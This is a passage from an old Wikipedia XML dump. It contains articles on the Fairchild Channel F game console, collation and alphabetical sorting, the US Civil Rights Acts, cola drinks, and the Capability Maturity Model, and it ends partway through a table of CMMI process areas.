[[sl:Podjetje]]
[[sr:Корпорација]]
[[sv:Aktiebolag]]
[[tr:Şirket]]
[[zh:公司]]</text>
    </revision>
  </page>
  <page>
    <title>Fairchild Channel F</title>
    <id>7487</id>
    <revision>
      <id>41799547</id>
      <timestamp>2006-03-01T20:58:03Z</timestamp>
      <contributor>
        <username>Rossumcapek</username>
        <id>23334</id>
      </contributor>
      <comment>/* The Channel F System II */  + caption</comment>
      <text xml:space="preserve">[[Image:Fairchild_channel-f.gif|thumb|right|The Fairchild Channel F]]
The '''Fairchild Channel F''' is the world's first cartridge-based [[video game console]]. It was released by [[Fairchild Semiconductor]] (ostensibly by their parent company though) in August 1976 at a cost of $169.95. At this point it was known as the '''Video Entertainment System''', or '''VES''', but when [[Atari]] released their [[Atari 2600|VCS]] the next year, Fairchild quickly re-named it.

==The Channel F console==

The Channel F was based on the [[Fairchild F8]] [[Central processing unit|CPU]], invented by [[Robert Noyce]] before he left Fairchild to start his own company, [[Intel]]. The F8 was so early that the [[process technology]] of the era couldn't fit all the needed circuitry onto a single chip, and the F8 was in fact a &quot;family&quot; of chips that had to be wired together to form a complete CPU. The video was quite basic, although it was in color which was a large step forward from the contemporary [[PONG]] machines. Sound was played through an internal speaker, rather than in the TV.

The controllers were a kind of joystick without a base; the main body was a large hand grip with a triangular &quot;cap&quot; on top, the top being the portion that actually moved. It could be used as both a joystick and paddle (twist), and pushed down to operate as a fire button. The unit contained a small compartment for storing the controllers when moving it: useful because the wiring was notoriously flimsy and even normal movement could break it.

Only 20 cartridges were released for the system (typically at $19.95), despite its initial popularity. However, the games are generally detested. One reviewer described the racing game (every system seemed to have one at the time) as something like &quot;losing a toe in an industrial accident.&quot;

The biggest effect of the Channel F in the market was to spur [[Atari]] into releasing their next-generation console that was then in design. Currently named &quot;Stella&quot; the machine was also going to use cartridges, and after seeing the Channel F they realized they needed to get it out as soon as possible before the market was flooded with cartridge based machines. With cash flow dwindling as sales of their existing Pong-based systems dried up, they were forced to sell to [[Warner Communications]] in order to gain the capital they needed. Naming their system as a takeoff of the VES, when the [[Atari 2600|Atari VCS]] was released a year later it had considerably better graphics.

==The Channel F System II==

[[Image:Fairchild_channel-f_system_2.jpg|250px|thumb|right| The Channel F System II]]

Fairchild decided to compete with the VCS, and started a re-design as the '''Channel F System II'''. The major changes were in design, the controllers were removable from the base unit instead of being wired directly into it, the storage compartment was moved to the rear of the unit, and the sound was now mixed into the TV signal so the unit no longer needed a speaker. This version featured a simpler and more modern-looking case design. However by this time the market was in the midst of the first video game crash, and Fairchild eventually threw in the towel and exited the market.

Some time in 1979 Zircon International bought the rights to the Channel F and released the '''Channel F System II'''. Only six new games were released after the release of the second system before its death, several of which were developed at Fairchild before they sold it off.

A number of licensed versions were released in Europe, including the '''Luxor Video Entertainment System''' in Sweden, '''Adman Grandstand''' in the UK, and the '''Saba Videoplay''', '''Nordmende Teleplay''' and '''ITT Tele-Match Processor''', from Germany.

== Playing Channel F over the phone ==

By the use of some special circuitry, it is possible to turn voice into simple digital signals. In the 70s, it seems someone did just this to Channel F. The voice input could be connected to a phone line, and thus someone on a phone at the other end could make loud noises to trigger the button on a Channel F.

It appears this was employed in a TV show which aired as a locally produced show in many markets in the US (some say a human merely listened to the pows and pressed a controller button instead of a circuit doing it). There were also reports of the same kind of show airing in Australia. This show was usually called &quot;TV Pow&quot;. It was organized as a call-in game show. A person would send a letter to say they wanted to be on the show, and the organizers would select contestants and arrange to call them during the show. The host would small talk with the contestant a while and prep them to play the game. When the host said &quot;go&quot;, the output of a Channel F playing shooting gallery would be aired on the station. The voice of the contestant could be heard over the game, and the contestant could only activate the &quot;fire&quot; functionality of the game by saying a world loudly into the phone (the word &quot;pow&quot; was suggested and usually used).

Shooting Gallery was comprised of a target which would move down the far right-hand side of the screen at an even rate. Somewhere left of that target (it varied) would be the player's &quot;gun&quot;. The gun looked exactly like the &quot;bat&quot; in Pong, although sometimes it would be turned at a 45 degree angle. When the player fired the &quot;bullet&quot; would come out perpendicular to the gun in the middle of the long sides.

To play TV Pow, the player would have to watch the target move down the screen on the TV station and say &quot;pow&quot; into the phone when he wanted to fire at the target. The system would then fire at the target. Once the target passed by the spot the gun was aimed at, the player could only wait until the target went off the bottom and came out at the top again for a fresh run.

Even in the days of all-analog production, there was significant lag in producing and transmitting a TV signal. The player would experience all this lag and it must have made playing the game somewhat more difficult.

=== Strategies ===

Perhaps due to this lag or perhaps just because most of the contestants were somewhat young and impatient, very often the player would throw any kind of ideas of timing out the window and just bark &quot;pow pow pow pow pow&quot; into the phone to fire as fast and as often as possible. It at times seemed like a kind of a speed contest, with the words from the fastest contestants running together.

== Technical specifications ==
* CPU chip: [[Fairchild F8]] operating at 1.79 [[megahertz|MHz]]
* RAM: 64 [[bytes]], 16 [[kilobytes]] VRAM
* Resolution: 128 &amp;times; 64 [[pixel]]s, 102 &amp;times; 58 pixels visible
* Colors: eight colors (four color max. per line)
* Audio: 500 Hz, 1 kHz, and 1.5 kHz tones (can be modulated quickly to produce different tones)
* Input: two custom game controllers, hardwired to the console
* Output: [[RF modulator|RF modulated]] composite video signal, cord hardwired to console

== External links ==
* [http://www.old-computers.com/museum/computer.asp?c=890 Fairchild Channel F at &lt;code&gt;OLD-COMPUTERS.COM&lt;/code&gt;]
* [http://zappa.brainiac.com/cdyer/faqs/fairv2.htm Channel F FAQ from rec.games.video.classic]
* [http://www.linkcableoftime.com/consolemakers/fairchild.htm History of the companies behind the Channel F @ Link Cable of Time]
* [http://www.mess.org/ The MESS Project] (with Channel F [[emulator|emulation]])
* [http://www.thedoteaters.com/play3sta1.htm The Dot Eaters article] with a history of the Channel F and games

[[Category:Second-generation video game consoles]]

[[de:Channel F]]
[[fr:Channel F]]
[[it:Fairchild Channel F]]
[[sv:Fairchild Channel F]]</text>
    </revision>
  </page>
  <page>
    <title>Collation</title>
    <id>7489</id>
    <revision>
      <id>40299205</id>
      <timestamp>2006-02-19T17:13:21Z</timestamp>
      <contributor>
        <ip>201.5.11.110</ip>
      </contributor>
      <text xml:space="preserve">:''Alphabetical redirects here.  For the alphabet, [[Alphabet|click here]]. For the meal, see [[collations]].''

In [[textual criticism]] and [[bibliography]], '''[[collation]]''' is the reading of two (or more) texts side-by-side in order to note their differences.

In [[printing]] and [[photocopying]], '''collation''' is the arrangement of pages in order when several copies of a document are [[bookbinding|bound]] after printing or copying.

'''Collation''' can also refer to the detailed [[bibliography|bibliographical description]] of a book or the comparison of the physical makeup of two copies of a book.

In [[library and information science]] and [[computer science]], '''collation''' is the assembly of written information into a standard order. In common usage, this is called '''alphabetisation''', though collation is not limited to ordering letters of the [[alphabet]]. Collating lists of words or names into alphabetical order is the basis of most office filing systems, library catalogues, and books of reference.

Collation differs from '''classification''' in that classification is concerned with arranging information into logical categories, while collation is concerned with the [[partial order]]ing of those categories.

Collation differs from a [[sort algorithm]] in that whereas sort algorithms decide which pairs of elements to compare, collation defines a [[total order]] '''&amp;le;''' on pairs that the sort algorithm uses to determine when to swap the elements (usually a [[lexicographical order]]). In fact, sort algorithms are often implemented to take a collation as an input.

==Collation systems==
===Numerical sorting===
The simplest collation system is '''numerical sorting''': ordering numbers by their magnitude.
For example, the list of numbers ''4 · 17 · 3 · 5'' collates to ''3 · 4 · 5 · 17''.

While this might appear to work only for numbers, [[computer]]s can use this method for any textual information since computers internally use [[character set]]s which assign a numeric ''code point'' to each letter or [[glyph]].
For example, a computer using [[ASCII]] code (or any of its [[superset]]s such as [[Unicode]]) and numerical sorting would collate the list of characters ''a · b · C · d · $'' to ''$ · C · a · b · d''.

Why the curious &quot;[[ASCIIbetical order]]&quot;?
The numerical values that ASCII uses are ''$'' = 36, ''a'' = 97, ''b'' = 98, ''C'' = 67, and ''d'' = 100.

This style of collation is commonly used, often with the refinement of converting uppercase letters to lowercase before comparing ASCII values, since most people do not expect capitalised words to jump the head of the list.

This system fails to properly sort numbers written as text because a human-readable number stored in a computer text string is a sequence of numeric codes for [[numeral]]s.

For example, ''156.1'' (a string) is represented by ASCII code as the five ordered numbers 49, 53, 54, 46, and 49; ''35.29'' corresponds to 51, 53, 46, 50, and 57; because 49 comes before 51, ''156.1'' comes before ''35.29''.

===Alphabetical sorting===
A more elaborate collation system is '''alphabetical sorting''', which orders words or names based on the conventional order of letters in an [[alphabet]] or [[abjad]] (most of which have a single conventional order).
Each ''n''th letter is compared with the ''n''th letter of other words in the list, starting at the first letter of each word and advancing to the second, third, fourth, and so on, until the order is established.

For example, the list of words ''foo · bar · bibble'' collates to ''bar · bibble · foo'' because (1) ''f'' comes after ''b'' so ''bar'' and ''bibble'' both precede ''foo'' and (2) ''a'' comes before ''i'' so ''bar'' precedes ''bibble''.

Numerical sorting on a computer and alphabetical sorting often produce the same ordering for [[English language|English]].

The difference between computer-style numerical sorting and true alphabetical sorting becomes obvious in languages using an extended [[Latin alphabet]].

For example, the thirty-letter alphabet of [[Spanish language|Spanish]] treats ''ñ'' as a basic letter following ''n'', and formerly treated ''ch'' and ''ll'' as basic letters following ''c'', ''l'', respectively. ''Ch'' and ''ll'' are still considered letters, but are alphabetized as digraphs. (The new alphabetization rule was issued by the [[Royal Spanish Academy]] in [[1994]].
On the other hand, the letter ''rr'' follows ''rqu'' as expected, both with and without the 1994 alphabetization rule.)
A numeric sort may order ''ñ'' incorrectly following ''z'' and treat ''ch'' as ''c + h'', also incorrect when using pre-1994 alphabetization.

Similar differences between computer numeric sorting and alphabetic sorting occur in [[Danish language|Danish]] and [[Norwegian language|Norwegian]] (''aa'' is ordered as ''å'' at the end of the alphabet), [[German language|German]] (''ß'' is ordered as ''s + s''; ''ä, ö, ü'' are ordered as ''a + e, o + e, u + e'' in phone books, but as ''o'' elsewhere, and behind ''o'' in Austria), [[Icelandic language|Icelandic]] (''&amp;#240;'' follows ''d''), English (''&amp;#230;'' is ordered as ''a + e''), and many other languages.

Usually the [[space (punctuation)|space]]s or [[hyphen]]s between words are ignored.

See also [[Latin alphabet]] for a list of collating rules for Latin-based alphabets.

Languages that used a [[syllabary]] or [[abugida]] instead of an alphabet (for example, [[Cherokee language|Cherokee]]) can use approximately the same system if there is a set ordering for the symbols.

===Radical-and-stroke sorting===
[[Image:Character_Palette.png|right|246px|thumbnail|The [[Character Palette]] from [[Mac OS X]] is an example of use of radical-and-stroke sorting on a computer to provide an interface to input Chinese, Japanese, and Korean characters]]

Another form of collation is '''radical-and-stroke sorting''', used for non-alphabetic writing systems such as [[Chinese language|Chinese]] logographs and [[Japanese language|Japanese]] [[kanji]], whose thousands of symbols defy ordering by convention. In this system, common components of characters are identified; these are called [[radical (Chinese character)|radicals]] in Chinese and logographic systems derived from Chinese.
Characters are then grouped by their primary radical, then ordered by number of pen strokes within radicals. When there is no obvious radical or more than one radical, convention governs which is used for collation. For example, the Chinese character for &quot;mother&quot; (&amp;#23229;) is sorted as a thirteen-stroke character under the three-stroke primary radical (&amp;#22899;). 

The radical-and-stroke system is cumbersome compared to an alphabetical system in which there are a few characters, all unambiguous. The choice of which components of a logograph comprise separate radicals and wich radical is primary is not clear-cut. As a result, logographic languages often supplement radical-and-stroke ordering with alphabetic sorting of a phonetic conversion of the logographs.
For example, the kanji word ''''Tōkyō'' (&amp;#26481;&amp;#20140;), the Japanese name of [[Tokyo]] can be sorted as if it were spelled out in the Japanese alphabet as &quot;to-u-ki-&lt;sub&gt;yo&lt;/sub&gt;-u&quot; (&amp;#12392;&amp;#12358;&amp;#12365;&amp;#12423;&amp;#12358;).

Nevertheless, the radical-and-stroke system is the only practical method for constructing dictionaries that someone may use to look up a logograph whose pronunciation is unknown.

===Multilingual ordering===
When lists of names or words need to be ordered, but the context does not define a particular single language or alphabet, the [[Unicode Collation Algorithm]] provides a way to put them in sequence.

==Complications==
===Compound words and special characters===
A complication in alphabetical sorting can arise due to disagreements over how groups of words (separated [[Compound (linguistics)|compound word]]s, [[name]]s, [[title]]s, etc.) should be ordered.  One rule is to remove spaces for purposes of ordering, another is to consider a [[space (punctuation)|space]] as a character that is ordered before numbers and letters (this method is consistent with ASCII-ordering), and a third is to order a space after numbers and letters.  Given the following strings to alphabetize &amp;mdash; &quot;catch&quot;, &quot;cattle&quot;, &quot;cat food&quot; &amp;mdash; the first rule produces &quot;catch&quot; &quot;cat food&quot; &quot;cattle&quot;, the second &quot;cat food&quot; &quot;catch&quot; &quot;cattle&quot;, and the third &quot;catch&quot; &quot;cattle&quot; &quot;cat food&quot;.  The first rule is used in most (but not all) [[Dictionary|dictionaries]], the second in [[Telephone directory|telephone directories]] (so that Wilson, Jim K appears with other people named Wilson, Jim and not after Wilson, Jimbo).  The third rule is rarely used.

A similar complication arises when special characters such as [[hyphen]]s or [[apostrophe]]s appear in words or names.  Any of the same rules as above can be used in this case as well; however, the strict ASCII sorting no longer corresponds exactly to any of the rules.

===Name/Surname ordering=== 
The telephone directory example sheds light on another complication.  In cultures where [[family name]]s are written after [[given name]]s, it is usually still desired to sort by family name first.  In this case, names need to be reordered to be sorted properly.  For example, Juan Hernandes and Brian O'Leary should be sorted as Hernandes, Juan and O'Leary, Brian even if they are not written this way.  Capturing this rule in a computer collation algorithm is difficult, and simple attempts will necessarily fail.  For example, unless the algorithm has at its disposal an extensive list of family names, there is no way to decide if &quot;Gillian Lucille van der Waal&quot; is &quot;van der Waal, Gillian Lucille&quot;, &quot;Waal, Gillian Lucille van der&quot;, or even &quot;Lucille van der Waal, Gillian&quot;.

In telephone directories in English speaking countries, surnames beginning with Mc are sometimes sorted as if starting with Mac and placed between &quot;Mabxxx&quot; and &quot;Madxxx&quot;.  Under these rules, the telephone directory order of the following names would be: Maam, McAllan, Macbeth, MacCarthy, McDonald, Macy, Mboko.

===Abbreviations and common words===
When abbreviations are used, it is sometimes desired to expand the abbreviations for sorting.  In this case, &quot;St. Paul&quot; comes before &quot;Shanghei&quot;.  Obviously, to capture this behavior in a collation algorithm, we need a list of abbreviations.  It may be more practical in some cases to store two sets of strings, one for sorting and one display.  A similar problem arises when letters are replaced by numbers or special symbols in an irregular manner, for example 1337 for [[leet]] or the movie ''[[Seven (movie)|Se7en]]''.  In this case, proper sorting necessitates keeping two sets of strings.

In certain contexts, very common words (such as [[article (grammar)|article]]s) at the beginning of a sequence of words are not considered for ordering, or are moved to the end.  So &quot;[[The Shining]]&quot; is considered &quot;Shining&quot; or &quot;Shining, The&quot; when alphabetizing and therefore is ordered before &quot;[[Summer of Sam]]&quot;.  This rule is fairly easy to capture in an algorithm, but many programs rely instead on simple lexicographic ordering.  One fairly quaint exception to this rule, is the flying of the flag of [[Republic of Macedonia |The Former Yugoslav Republic of Macedonia]]; at the [[United Nations]], between those of [[Thailand]], and [[East Timor |Timor Leste]].

===Numerical sorting of strings===
Sometimes, it is desired to order text with embedded numbers using proper numerical order.  For example, &quot;Figure 7b&quot; goes before &quot;Figure 11a&quot;.  This can be extended to [[Roman numeral]]s. This behavior is not particularly difficult to produce as long as only integers are to be sorted, although it can slow down sorting significantly.  

For example, [[Windows XP]] does this when sorting [[file name]]s (much to the annoyance of some people who are used to a simple lexicographic ordering).  Sorting decimals properly is a bit more difficult, due to the fact that different locales use different symbols for a [[decimal separator|decimal point]], and sometimes the same character used as a decimal point is also used as a separator, for example &quot;Section 3.2.5&quot;.  There is no universal answer for how to sort such strings; any rules are application dependent.

----

==See also==
*[[Unicode collation algorithm]]
*[[Lexicographic order]]
*See El Amarna, EA letters, referenced at [[Amarna Letters]].

==External links and references==
*[http://www.unicode.org/unicode/reports/tr10/ Unicode Collation Algorithm]: Unicode Technical Standard #10
*Collation in Spanish (http://spanish.about.com/library/weekly/aa092099.htm#letters)
*[http://www.un.org/Overview/unmember.html] Collation of the names of the member states of the United Nations 

==Tools==
*[http://www.gnu.org/software/coreutils/manual/html_chapter/coreutils_7.html#SEC28 sort] The GNU implementation of the standard Unix sort utility.
*[http://billposer.org/Software/msort.html msort] A sort program that provides an unusual level of flexibility in defining collations and extracting keys.

[[Category:Information science]]

[[cs:Abecední řazení]]
[[de:Sortierung]]
[[fr:Classement alphabétique]]
[[gl:Clasificación alfabética]]
[[is:Stafrófsröð]]
[[fi:Aakkosjärjestys]]
[[pt:Ordem alfabética]]</text>
    </revision>
  </page>
  <page>
    <title>Civil Rights Act</title>
    <id>7490</id>
    <revision>
      <id>32806085</id>
      <timestamp>2005-12-26T22:28:22Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up and  re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">Several [[United States]] laws have been called the '''Civil Rights Act''':

* [[Civil Rights Act of 1866]] aimed to buttress Civil Rights Laws to protect freedmen and to grant full  citizenship to those born on U.S. soil except [[Native Americans in the United States|Indian]]s. While President [[Andrew Johnson]] vetoed the bill, the veto was overridden by [[Congress of the United States|U.S. Congress]].
* [[Civil Rights Act of 1871]] was also known at the time as the &quot;[[Ku Klux Klan]] Act&quot; because one of main reasons for its passage was to protect southern blacks from the KKK by providing a civil remedy for abuses then being committed in the south.
* [[Civil Rights Act of 1875]] guaranteed [[African American|blacks]] the same treatment as [[whites]] in certain public places. 
* [[Civil Rights Act of 1957]] established a [[Civil Rights Commission]] (CRC) to protect individuals rights to [[equal protection]] and permitted courts to grant injunctions in support of the CRC.
* [[Civil Rights Act of 1960]] established federal inspection of local voter registration rolls
* [[Civil Rights Act of 1964]] was a landmark law protecting black people from job and other forms of discrimination.
* [[Civil Rights Act of 1968]] prohibited discrimination concerning the sale, rental, and financing of housing.
* [[Civil Rights Act of 1991]] provided for the right to trial by jury on discrimination claims and introduced the possibility of emotional distress damages, while limiting the amount that a jury could award.

{{disambig}}


[[Category:History of civil rights in the United States]]
[[Category:Legal history of the United States]]

[[de:Civil Rights Act]]</text>
    </revision>
  </page>
  <page>
    <title>Cola</title>
    <id>7491</id>
    <revision>
      <id>41952383</id>
      <timestamp>2006-03-02T21:16:28Z</timestamp>
      <contributor>
        <username>Ral315</username>
        <id>111703</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.94.143.138|65.94.143.138]] ([[User talk:65.94.143.138|talk]]) to last version by WAvegetarian</comment>
      <text xml:space="preserve">[[Image:Cola.JPG|thumb|300px|right|Several different brands of cola. (Pepsi, TAUfrisch Cola, Pepsi MAX, River Cola, Coca-Cola, Sinalco Cola, afri Cola, Coca-Cola light)]]
[[Image:Cola.jpg|thumb|300px|right|Cola]]
A '''cola''' is a sweet [[Carbonation|carbonated]] drink, usually with [[caramel]] coloring and containing [[caffeine]]. 
The flavor of the [[soft drink]] sometimes comes from a mixture of [[vanilla]], [[cinnamon]],
and [[citrus]] flavorings. The name comes from the [[kola nut]]s that were originally used as the source of caffeine.

The drink may also be caffeine-free, and although some people disagree on calling such a drink a ''cola'', neither the cola companies themselves nor the vast majority of cola drinkers would make such a distinction.  
Cola drinks are generally sweetened with [[corn syrup]], but may be sweetened with [[sugar]] or an [[artificial sweetener]].

Major brands of cola include [[Coca-Cola]], [[Pepsi]], [[R.C. Cola|Royal Crown]], [[Virgin Cola]] and various local producers. [[Jolt Cola]] also has a dedicated cult following (especially with college students or young professionals who have to meet tight deadlines), as it has a particularly high caffeine content (about 200 mg/L, compared with about 110-130 mg/L for Pepsi and Coca-Cola and 320 mg/L in non-cola [[energy drink]] [[Red Bull]]).  Among colas, German brand [[Afri-Cola]] had a higher caffeine content until the product was relaunched with a new formulation in 1999. [[Inca Kola]] is another brand that is marketed in many countries by the [[The Coca-Cola Company|Coca Cola group]]; it is the major cola in some South American countries. [[TuKola|tuKola]] and Tropicola are brands from [[Cuba]]; the former is also sold in [[Italy]]. [[Star cola]] is a brand from Gaza-Palestine marketed by Mecca Cola and Zam Zam Cola.{{fact}}
There is also an [[open source]] recipe for a cola drink, [[OpenCola]].

In 2002 a new brand, [[Mecca Cola]], aimed at [[Muslim]] customers (with the slogan ''Think Muslim, Drink Muslim''), was launched in [[France]] by Tawfik Mathlouthi. It is inspired by Iranian [[Zam Zam Cola]]. The product became available in the [[United Kingdom|UK]] in 2003.  Some of the profits are directed to the Palestinian cause, and to domestic charities.  &lt;!--[Source: Channel 4 News, 8 Jan 03]--&gt; A similar product with a similar concept, [[Qibla Cola]], was launched in 2003 in the UK. [[Cola Turka]], a [[Turkey|Turkish]] brand, and [[Zelal Cola]] are also popular among the Muslim community in [[Germany]].

==See also==
*[[Soft drink]]
*[[OpenCola]]
*[[Soda]]
*[[Cola (CMS)]]

==External links==
*[http://www.softdrinkguide.com SoftDrinkGuide.com]
*[http://www.colawp.com/colas/400/cola467_recipe.html OpenCola recipe] (originally published by [[Cory Doctorow]])
*[http://www.straightdope.com/mailbag/mcaffeine.html Straight Dope article about caffeine levels on soft drinks]

[[Category:Cola|*]]

[[ca:Beguda de cola]]
[[da:Cola]]
[[de:Cola]]
[[eo:Kolao]]
[[fr:Cola]]
[[id:Kola]]
[[he:קולה]]
[[mk:Кола]]
[[nl:Cola]]
[[ja:コーラ]]
[[ru:Кола (напиток)]]
[[th:น้ำโคล่า]]
[[zh:可乐]]</text>
    </revision>
  </page>
  <page>
    <title>Capability Maturity Model</title>
    <id>7492</id>
    <revision>
      <id>41417615</id>
      <timestamp>2006-02-27T04:36:53Z</timestamp>
      <contributor>
        <username>Kuru</username>
        <id>764407</id>
      </contributor>
      <comment>revert: vandalism</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

The '''Capability Maturity Model''' (CMM) is a method for evaluating and measuring the maturity of the [[software development process]] of organizations on a scale of 1 to 5.

The CMM was developed by the [[Software Engineering Institute]] (SEI) at [[Carnegie Mellon University]] in [[Pittsburgh]]. It has been used extensively for [[avionics software]] and for government projects since it was created in the mid-1980s.

A maturity model is a structured collection of elements that describe characteristics of effective processes.

A maturity model provides:
* a place to start
* the benefit of a community’s prior experiences
* a common language and a shared vision
* a framework for prioritizing actions
* a way to define what improvement means for your organization

A maturity model can be used as a benchmark for assessing different organizations for equivalent comparison.

The SEI has subsequently released a revised version known as the '''Capability Maturity Model Integration''' (CMMI).

== History ==

=== Context ===

The term '''software''' originates from the idea that software is easy to change (&quot;soft&quot;) in comparison to hardware, which was more difficult to change (&quot;hard&quot;). Another theory: software is ''soft'' in the sense that it is not tangible, unlike hardware, which we can replace and touch.  In the [[1970s]], the field of [[software development]] saw significant growth as more organizations began to move to computerized information systems.  With this significant growth, two events began unfolding.

The first event was that computerized information systems became commonplace and improved computer hardware allowed for more ambitious information system projects.  Along with the improved computer hardware, new technologies and manufacturing processes resulted in cheaper, more reliable, and more flexible computer platforms and peripherials which in turn encouraged the use of information systems in more diverse applications.

The second event was the need for many more people to develop the software needed for the computers created by the explosion in the number of computer information systems due to the increased application of computers to organizational problems.  This in turn meant that people with little experience in the art of developing computer software moved into that area of work.  Not only was there increased demand for people to design and write computer software, there was also increased demand for people to manage these projects.

Many software projects failed due to inadequate processes and project management.  This was primarily due to two causes.  The first was software development, both the design and writing of computer software as well as the management of software development projects, did not have a large body of published work discussing software development and what work existed was not used by industry to any great extent.

The second cause was that as information systems became more commonplace and people became more ambitious in the application of computer systems to organizational problems.  Projects attempted moved from well known areas such as accounting systems or inventory systems which involved primarily numbers and the embedding of an abstract model into a computing platform with software to applications which involved the movement of physical objects in the real world.  In addition, software development teams ran into the problem of attempting to model [[complex system]]s, such as the complete information flows of an enterprise, within information systems.  The sheer complexity of the problem lead to project failue.

During the 1970s there were a number of proponents for a more scientific and professional practice.  People such as [[Edward Yourdon]], [[Larry Constantine]], [[Gerald Weinberg]], [[Tom DeMarco]], and [[David Parnas]] published articles and books with research results in an attempt to professionalize the software development community.

During the 1980s, [[Watts Humphrey]] published a series of works about software development processes and organizations.  From this work sprang the ongoing work at the Software Engineering Institute to provide a framework for a professional software development process and meta-process to allow organizations to develop higher quality software.

=== Origins ===

The [[United States Air Force]] funded a study at the SEI to create a model for the military to use as an objective evaluation of software subcontractors. In [[1989]], the Capability Maturity Model was published as ''Managing the Software Process''.

'''Timeline'''
* [[1987]]: SEI-87-TR-24 (SW-CMM questionnaire), released.
* [[1989]]: ''Managing the Software Process'', published.
* [[1991]]: SW-CMM v1.0, released.
* [[1993]]: SW-CMM v1.1, released.
* [[1997]]: SW-CMM revisions halted in support for CMMI.
* [[2000]]: CMMI v1.02, released.
* [[2002]]: CMMI v1.1, released .

=== Current state ===

Although these models have proved useful to many organizations, the use of multiple models has been problematic. Further, applying multiple models that are not integrated within and across an organization is costly in terms of training, appraisals, and improvement activities. The CMM Integration project was formed to sort out the problem of using multiple CMMs. The CMMI Product Team's mission was to combine three source models:

# The Capability Maturity Model for Software (SW-CMM) v2.0 draft C
# The Systems Engineering Capability Model (SECM)
# The Integrated Product Development Capability Maturity Model (IPD-CMM) v0.98
# Supplier sourcing

CMMI is the designated successor of the three source models. The SEI has released a policy to [[sunset]] the Software CMM. The same can be said for the SECM and the IPD-CMM. These models are expected to be succeeded by CMMI.

=== Future direction ===

Suggestions for improving CMMI are welcomed by the SEI. For information on how to provide feedback, see the [http://www.sei.cmu.edu/cmmi/models/change-requests.html CMMI Web site].

== Levels of the CMM ==

:(See chapter 2 of ([http://www.sei.cmu.edu/pub/documents/02.reports/pdf/02tr012.pdf March 2002 edition of CMMI&lt;sup&gt;SM&lt;/sup&gt; from SEI]), page 11.)

There are five levels of the CMM. According to the SEI,
:''&quot;Predictability, effectiveness, and control of an organization's software processes are believed to improve as the organization moves up these five levels. While not rigorous, the empirical evidence to date supports this belief.&quot;''

=== Level 1 - Initial === 

At maturity level 1, processes are usually ad hoc and the organization usually does not provide a stable environment. Success in these organizations depends on the competence and heroics of the people in the organization and not on the use of proven processes. In spite of this ad hoc, chaotic environment, maturity level 1 organizations often produce products and services that work; however, they frequently exceed the budget and schedule of their projects.

Maturity level 1 organizations are characterized by a tendency to over commit, abandon processes in the time of crisis, and not be able to repeat their past successes again.

=== Level 2 - Repeatable === 

At maturity level 2, Software development successes are repeatable.  The organization may use some basic [[project management]] to track cost and schedule.

Process discipline helps ensure that existing practices are retained during times of stress.  When these practices are in place, projects are performed and managed according to their documented plans.  

Project status and the delivery of services are visible to management at defined points (for example, at major milestones and at the completion of major tasks).

Basic project management processes are established to track cost, schedule, and functionality. The necessary process discipline is in place to repeat earlier successes on projects with similar applications.

=== Level 3 - Defined === 

At maturity level 3, processes are well characterized and understood, and are described in standards, procedures, tools, and methods.

The organization’s set of standard processes, which is the basis for level 3, is established and improved over time. These standard processes are used to establish consistency across the organization. Projects establish their defined processes by the organization’s set of standard processes according to tailoring guidelines.

The organization’s management establishes process objectives based on the organization’s set of standard processes and ensures that these objectives are appropriately addressed.

A critical distinction between level 2 and level 3 is the scope of standards, process descriptions, and procedures. At level 2, the standards, process descriptions, and procedures may be quite different in each specific instance of the process (for example, on a particular project). At level 3, the standards, process descriptions, and procedures for a project are tailored from the organization’s set of standard processes to suit a particular project or organizational unit.

=== Level 4 - Managed === 

Using precise '''measurements''', '''management''' can effectively control the software development effort.  In particular, management can identify ways to adjust and adapt the process to particular projects without measurable losses of quality or deviations from specifications.

Subprocesses are selected that significantly contribute to overall process performance. These selected subprocesses are controlled using statistical and other quantitative techniques.

A critical distinction between maturity level 3 and maturity level 4 is the predictability of process performance. At maturity level 4, the performance of processes is controlled using statistical and other quantitative techniques, and is quantitatively predictable. At maturity level 3, processes are only qualitatively predictable.

=== Level 5 - Optimizing === 

Maturity level 5 focuses on continually improving process performance through both incremental and innovative technological improvements. Quantitative process-improvement objectives for the organization are established, continually revised to reflect changing business objectives, and used as criteria in managing process improvement. The effects of deployed process improvements are measured and evaluated against the quantitative process-improvement objectives. Both the defined processes and the organization’s set of standard processes are targets of measurable improvement activities.  

Process improvements to address common causes of process variation and measurably improve the organization’s processes are identified, evaluated, and deployed.

Optimizing processes that are agile and innovative depends on the participation of an empowered workforce aligned with the business values and objectives of the organization. The organization’s ability to rapidly respond to changes and opportunities is enhanced by finding ways to accelerate and share learning. 

A critical distinction between maturity level 4 and maturity level 5 is the type of process variation addressed. At maturity level 4, processes are concerned with addressing special causes of process variation and providing statistical predictability of the results. Though processes may produce predictable results, the results may be insufficient to achieve the established objectives. At maturity level 5, processes are concerned with addressing common causes of process variation and changing the process (that is, shifting the mean of the process performance) to improve process performance (while maintaining statistical probability) to achieve the established quantitative process-improvement objectives.

=== Extensions ===

Recent versions of CMMI from SEI indicate a &quot;level 0&quot;, characterized as &quot;Incomplete&quot;.  Many observers leave this level out as redundant or unimportant, but Pressman and others make note of it.  See page 18 of the [http://www.sei.cmu.edu/pub/documents/02.reports/pdf/02tr011.pdf August 2002 edition of CMMI from SEI] (Note: PDF file).

Anthony Finkelstein[http://www.cs.ucl.ac.uk/staff/A.Finkelstein/papers/immaturity.pdf] extrapolated that negative levels are necessary to represent environments that are not only indifferent, but actively counterproductive, and this was refined by Tom Schorsch[http://www.stsc.hill.af.mil/crosstalk/1996/11/xt96d11h.asp] as the ''[[CIMM|Capability Immaturity Model]]'':

* CMM level 0 (''negligent'')
* CMM level -1 (''obstructive'')
* CMM level -2 (''contemptuous'')
* CMM level -3 (''undermining'')

== Process areas ==
{{details|Process area (CMMI)}}

The CMMI contains several [[Process area (CMMI)|key process areas]] indicating the aspects of product development that are to be covered by company processes.

{|
|+ Key Process Areas of the Capability Maturity Model Integration (CMMI)
! Abbreviation || Name || Area || Maturity Level
|-
| CAR || Causal Analysis and Resolution || Support || 5
|-
| CM || Configuration Management || Support || 2
|-
| DAR || Decision Analysis and Resolution || Support || 3
|-
| IPM || Integrated Project Management || Project Management || 3
|-
| ISM || Integrated Supplier Management || Project Management || 3
|-
| IT || Integrated Teaming || Project Management || 3
|-
| MA || Measurement and Analysis || Support || 3
|-
